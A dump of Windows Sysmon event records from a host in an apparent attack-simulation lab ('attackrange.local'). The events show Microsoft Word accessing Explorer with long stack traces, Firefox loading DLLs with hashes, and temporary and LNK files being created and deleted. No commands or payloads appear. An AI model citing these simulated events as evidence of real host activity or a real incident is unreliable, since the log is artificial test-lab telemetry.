Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049711Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049710Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049709Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049708Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942c8|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049707Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.012{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\nss3.dll92.0-FirefoxMozilla Foundationnss3.dllMD5=D75237337798A67147768480343F6CD4,SHA256=D8969ACE98532DC895616847FEDBB9B2A4FCB21E660DE3A42689DA0A1924FDB6,IMPHASH=0DFC68B8DD02D4E1CB73F90762A0E3D7trueMozilla CorporationValid 734700x800000000000000049706Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.012{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Program Files\Mozilla Firefox\nss3.dll92.0-FirefoxMozilla Foundationnss3.dllMD5=D75237337798A67147768480343F6CD4,SHA256=D8969ACE98532DC895616847FEDBB9B2A4FCB21E660DE3A42689DA0A1924FDB6,IMPHASH=0DFC68B8DD02D4E1CB73F90762A0E3D7trueMozilla CorporationValid 11241100x800000000000000049705Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.044{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\ibivigi.txt.LNK2021-09-10 14:58:22.012 23542300x800000000000000049704Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\ibivigi.txt.LNKMD5=F5C7A6521577F9E90DDEBF05D00A5F59,SHA256=E700F9ED56565EB710E3A020D67DDBA141E858A6D2DA444B649091869A8D8AD9,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000049703Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049702Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049701Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049700Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbf02|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049699Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049698Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049697Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049696Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728B-613B-500B-00000000F001}64442240C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+3dbef0|C:\Windows\System32\windows.storage.dll+3d95bb|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193f30|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+194431|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1942a1|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+193141|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 11241100x800000000000000049695Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.028{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Roaming\Microsoft\Office\Recent\ibivigi.txt.LNK2021-09-10 14:58:22.012 10341000x800000000000000049694Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.012{7BD73061-728B-613B-500B-00000000F001}6444496C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+3c76c8|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049693Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.012{7BD73061-728B-613B-500B-00000000F001}6444496C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+3c76ac|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000049692Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.012{7BD73061-728B-613B-500B-00000000F001}6444496C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+3c76ac|C:\Windows\System32\windows.storage.dll+3cbcbf|C:\Windows\System32\windows.storage.dll+3cc218|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1945f4|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+1944d9|C:\Program Files\Common Files\Microsoft Shared\Office16\mso.dll+f20cc|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+15290d|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bdb1e|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+bef25|C:\Program Files\Common Files\Microsoft Shared\Office16\mso20win32client.dll+8e4f6|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000049691Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.012{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exeC:\Windows\System32\ws2_32.dll10.0.14393.3241 (rs1_release_inmarket.190910-1801)Windows Socket 2.0 32-Bit DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationws2_32.dllMD5=06E82905620845A7C185BDEE85CC4140,SHA256=B75C9B080293F85568912BABE749F403144959206F9C6BAB36B628E8F77C5DA0,IMPHASH=76A5AA3DF6083D853F576403C8F841A8trueMicrosoft WindowsValid 11241100x800000000000000049690Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.012{7BD73061-728B-613B-500B-00000000F001}6444C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Public\~$bivigi.txt2021-09-10 14:58:22.012 23542300x800000000000000049689Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:22.012{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRD0003.docMD5=9A400BE1A2CD9DF8331E5FD930216344,SHA256=B48465F5356ACE53CF61DB1714D68ADC18B654D8EA3877974E171F5384B4010D,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000049688Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.997{7BD73061-728B-613B-500B-00000000F001}6444ATTACKRANGE\AdministratorC:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXEC:\Users\Administrator\AppData\Local\Microsoft\Windows\INetCache\Content.Word\~WRS{F1939AF7-746C-46A4-BAB7-BE10819D8C79}.tmpMD5=830FBF83999E052538EAF156AB6ECB17,SHA256=D5098A2CEAE815DB29CD53C76F85240C95DC4D2E3FEDDD71D628617064C29869,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000049687Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:58:21.997{7BD73061-6D0F-613B-9406-00000000F001}4480172C:\Windows\Explorer.EXE{7BD73061-728D-613B-560B-00000000F001}4776C:\Program Files\Mozilla Firefox\firefox.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+17e8d|C:\Windows\System32\SHELL32.dll+61e00|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 